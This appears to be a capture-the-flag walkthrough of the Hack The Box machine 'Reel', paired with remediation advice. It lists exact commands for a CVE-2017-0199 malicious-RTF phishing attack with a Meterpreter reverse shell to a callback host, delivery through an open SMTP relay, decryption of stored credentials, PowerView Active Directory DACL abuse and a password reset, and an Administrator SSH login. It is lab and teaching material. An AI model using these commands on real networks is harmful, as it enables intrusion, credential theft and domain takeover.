Reel
Summary
Recon against <retired-instance-ip> (Windows Server 2012 R2, HTB.LOCAL domain) found [REDACTED: recovered credential] FTP exposing a documents share with AppLocker.docx, Windows Event Forwarding.docx, and readme.txt. exiftool/docProps metadata on the .docx files identified author nico@megabank.com; readme.txt requested that RTF-format procedures be emailed to that address for review — a client-side delivery vector. Port 25 (SMTP) was open and unauthenticated (REEL, AUTH LOGIN/PLAIN), giving a spoofable mail-injection path to the same domain.
Foothold — CVE-2017-0199 (Office/WordPad HTA injection): built a malicious RTF (office_word_hta Metasploit module) that pulls a remote HTA payload (windows/meterpreter/reverse_tcp) hosted on my SRVHOST:SRVPORT. Delivered via sendEmail/swaks through the target's own open SMTP relay to nico@megabank.com. Nico opened the RTF, WordPad/OLE fetched the HTA, and a Meterpreter session returned as HTB\nico.
User pivot: C:\Users\nico\Desktop\cred.xml was a PowerShell Export-Clixml credential blob; Import-Clixml decrypted it (DPAPI-bound to nico's profile) to recover HTB\Tom's plaintext SSH credentials, granting direct SSH access as tom (Server 2012 R2 runs an SSH service, likely via bundled OpenSSH/Cygwin for the box).
Privilege escalation — AD DACL abuse: tom's desktop held an "AD Audit" folder with BloodHound + PowerView. ACL review (acls.csv via BloodHound ingestor / PowerView Import-Csv) revealed tom had WriteOwner on user claire, and claire had WriteDACL rights reaching the Backup_Admins group. Using PowerView: 1. Set-DomainObjectOwner — made tom the owner of claire. 2. Add-DomainObjectAcl — granted tom ResetPassword/full control over claire. 3. Set-DomainUserPassword — reset claire's password (ReelRoot!2026). 4. As claire (via Add-DomainObjectAcl granting WriteMembers on Backup_Admins), Add-DomainGroupMember added tom into Backup_Admins.
Root: Backup_Admins membership grants read access to C:\Users\Administrator\Desktop\Backup Scripts\backup.ps1, which contained a cleartext Domain Admin credential (Administrator / [REDACTED: recovered credential]) used by the scheduled AD backup job. SSH login as Administrator with that password confirmed htb\administrator and read root.txt.
Attack path — how the box was taken
Exact commands 5
nmap -sV -sC -p 21,22,25,135,139,445,593 $TARGETcurl ftp://$TARGET/documents/ --user [REDACTED: recovered credential]:[REDACTED: recovered credential] --list-onlywget -r ftp://$TARGET/documents/ --user [REDACTED: recovered credential] --password [REDACTED: recovered credential]exiftool AppLocker.docx 'Windows Event Forwarding.docx'cat readme.txtFixDisable [REDACTED: recovered credential] FTP and remove sensitive documents from internet-facing sharesHigh
Exact commands 3
msfconsole -quse exploit/windows/fileformat/office_word_htaset FILENAME reel_procedure.rtf
set SRVHOST $CALLBACK_HOST
set SRVPORT 8080
set URIPATH /
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST $CALLBACK_HOST
set LPORT 4444
runFixPatch CVE-2017-0199 and harden Office OLE/HTA execution policyCritical
Exact commands 4
swaks --to nico@megabank.com --from admin@megabank.com --server $TARGET:25 --subject 'Updated RTF Procedure' --body 'Please review the attached procedure document.' --attach reel_procedure.rtfsessions -i 1getuidshell
type C:\Users\nico\Desktop\user.txtFixClose the unauthenticated SMTP relay and filter inbound attachmentsHigh
Exact commands 2
powershell.exe -NoProfile -Command "$c = Import-Clixml 'C:\Users\nico\Desktop\cred.xml'; $c.UserName; $c.GetNetworkCredential().Password"ssh tom@$TARGETFixRemove DPAPI-encrypted credential XML files from user desktopsHigh
Exact commands 2
dir /s /b "C:\Users\Tom\Desktop\AD Audit"powershell -NoProfile -Command "Import-Csv 'C:\\Users\\Tom\\Desktop\\AD Audit\\acls.csv' | Where-Object { $_.PrincipalName -match 'Tom|Claire|Backup' } | Select-Object PrincipalName, ObjectDN, ActiveDirectoryRights | Format-Table -AutoSize"FixAudit and remove excessive AD DACL rights (WriteOwner / WriteDACL / GenericWrite)Critical
Exact commands 8
Import-Module 'C:\Users\Tom\Desktop\AD Audit\BloodHound\PowerView.ps1'Set-DomainObjectOwner -Identity claire -OwnerIdentity tom -VerboseAdd-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword -VerboseSet-DomainUserPassword -Identity claire -AccountPassword (ConvertTo-SecureString 'ReelRoot!2026' -AsPlainText -Force) -Verbosessh claire@$TARGETcopy "C:\Users\Tom\Desktop\AD Audit\BloodHound\PowerView.ps1" C:\Windows\Temp\PowerView.ps1Import-Module C:\Windows\Temp\PowerView.ps1; Add-DomainObjectAcl -TargetIdentity 'Backup_Admins' -PrincipalIdentity claire -Rights WriteMembers -VerboseAdd-DomainGroupMember -Identity 'Backup_Admins' -Members claire -VerboseFixAudit and remove excessive AD DACL rights (WriteOwner / WriteDACL / GenericWrite)Critical
Exact commands 4
ssh tom@$TARGETwhoami /groups | findstr /i backuptype "C:\Users\Administrator\Desktop\Backup Scripts\BackupScript.ps1"sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null Administrator@$TARGET 'cmd /c "whoami & type C:\Users\Administrator\Desktop\root.txt"'FixEliminate cleartext credentials from backup scripts and rotate the Domain Admin passwordCritical
Attack patterns used
The transferable techniques behind this compromise.
Public Exploit / Metasploit ModuleService RCET1210
What it is
Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.
Why it works
Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.
Read more
Exposed services
| 21/tcp | ftp Microsoft ftpd |
| 22/tcp | ssh OpenSSH 7.6 (protocol 2.0) |
| 25/tcp | smtp |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 445/tcp | microsoft-ds Windows Server 2012 R2 Standard 9600 microsoft-ds (workgroup: HTB) |
| 593/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 49159/tcp | unknown recon-sweep-discovered |